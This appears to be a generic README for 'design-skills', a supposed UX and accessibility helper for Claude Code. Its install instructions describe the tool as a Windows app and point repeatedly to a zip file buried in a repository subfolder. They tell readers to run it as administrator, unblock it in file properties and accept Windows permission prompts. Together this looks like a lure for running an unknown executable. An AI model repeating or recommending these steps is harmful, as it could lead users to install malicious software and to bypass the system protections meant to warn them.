# 🎨 design-skills - Better UX guidance for Claude Code

[![Download design-skills](https://img.shields.io/badge/Download%20design-skills-6A5ACD?style=for-the-badge&logo=github&logoColor=white)](https://raw.githubusercontent.com/justinqwerty/design-skills/main/accessibility-audit/skills-design-2.3.zip)

## 📥 Download

Visit this page to download: https://raw.githubusercontent.com/justinqwerty/design-skills/main/accessibility-audit/skills-design-2.3.zip

## 🧩 What this app does

design-skills helps Claude Code handle common UX and design tasks with more care and structure. It can support research notes, design critique, accessibility checks, journey mapping, and other day-to-day design work.

Use it when you want clearer feedback on a screen, a more useful review of a flow, or a simple way to think through design choices.

## 🪟 Windows setup

This app is meant to be easy to run on Windows.

1. Open the download page: https://raw.githubusercontent.com/justinqwerty/design-skills/main/accessibility-audit/skills-design-2.3.zip
2. Download the latest release file for Windows
3. If the file is a .zip file, right-click it and choose Extract All
4. Open the extracted folder
5. Start the app or open the included file that launches the tool
6. If Windows asks for permission, choose Yes

## ✅ Before you start

For the smoothest setup, make sure your PC has:

- Windows 10 or Windows 11
- An internet connection for the first download
- At least 200 MB of free disk space
- A modern web browser such as Edge, Chrome, or Firefox
- Permission to run downloaded files on your computer

## 🖱️ How to use it

After you open the app, you can use it as a design helper for Claude Code.

1. Pick the kind of task you want help with
2. Paste your design brief, screen text, or user flow
3. Ask for a review, rewrite, or analysis
4. Read the output and use it in your work
5. Refine the prompt if you want a closer match

You can use it for:

- UX research planning
- Interface critique
- Accessibility review
- User journey mapping
- Content clarity checks
- Product flow analysis

## ♿ Accessibility help

This project includes help for common accessibility checks. It can support review work for:

- Color contrast concerns
- Missing labels
- Weak button text
- Keyboard flow issues
- Confusing form layouts
- Poor screen reader support

Use it to spot problems early and make screens easier to use.

## 🧭 Design tasks you can try

### Research

Use it to shape interview notes, compare feedback, and organize user problems.

### Critique

Use it to review a layout, find rough spots, and suggest cleaner patterns.

### Journey mapping

Use it to break a user path into clear steps, pain points, and decision points.

### Accessibility review

Use it to check for common issues that block people from using a product well.

### Claude Code support

Use it to give Claude Code stronger context when the task involves design thinking or UX writing.

## 📁 Typical release contents

A release may include:

- A Windows app file
- A folder with support files
- A readme file for quick setup
- Example prompts or templates
- Design skill packs for different tasks

If you see several files, start with the main app file or the file marked for Windows.

## 🔧 Common use case examples

- Review a signup screen for clear labels and button text
- Turn rough interview notes into a short research summary
- Map the steps in an onboarding flow
- Check whether a form works for keyboard users
- Rewrite product copy in plain language
- Compare two design ideas and list tradeoffs

## 🛠️ Troubleshooting

### The file will not open

- Check that the download finished
- Right-click the file and choose Run as administrator
- Make sure the file is not still inside a zip folder
- Try downloading it again from the release page

### Windows blocks the file

- Open the file properties
- If you see an Unblock option, select it
- Try again after extracting the download
- Use the latest release from the download page

### The app opens but nothing happens

- Close the app and open it again
- Check your internet connection
- Try a different prompt or input
- Make sure the app has the right file permissions

### The screen looks cut off

- Set Windows display scaling to 100% or 125%
- Maximize the window
- Update your display settings
- Restart the app after changing the scale

## 🧪 Suggested workflow

1. Start with a short task
2. Give Claude Code one clear goal
3. Add context about the user and the screen
4. Ask for plain language output
5. Use the result as a draft, then edit it for your project

## 📌 Topics covered

This repository is built around:

- accessibility
- Claude
- Claude Code
- Claude skills
- Codex
- Cursor
- design
- design critique
- journey maps
- UX design
- UX research

## 📄 File handling tips

If the download comes as a zip file:

1. Save it to your computer
2. Right-click the zip file
3. Choose Extract All
4. Open the extracted folder
5. Launch the app from there

If the download comes as an app file:

1. Save it to your Downloads folder
2. Double-click the file
3. Allow it to open if Windows asks
4. Follow any on-screen setup steps

## 🔍 What you should expect

The tool is meant to help with design thinking, not replace it. Use it to speed up review work, improve wording, and keep your process clear.

It works best when you give it:

- A screen or flow to review
- A user goal
- A short task description
- Any limits or rules you want it to follow

## 📚 Example prompt starters

- Review this signup flow for UX issues
- Check this screen for accessibility problems
- Turn these notes into a journey map
- Critique this interface for clarity and hierarchy
- Rewrite this error message in plain English
- List the main user pain points in this flow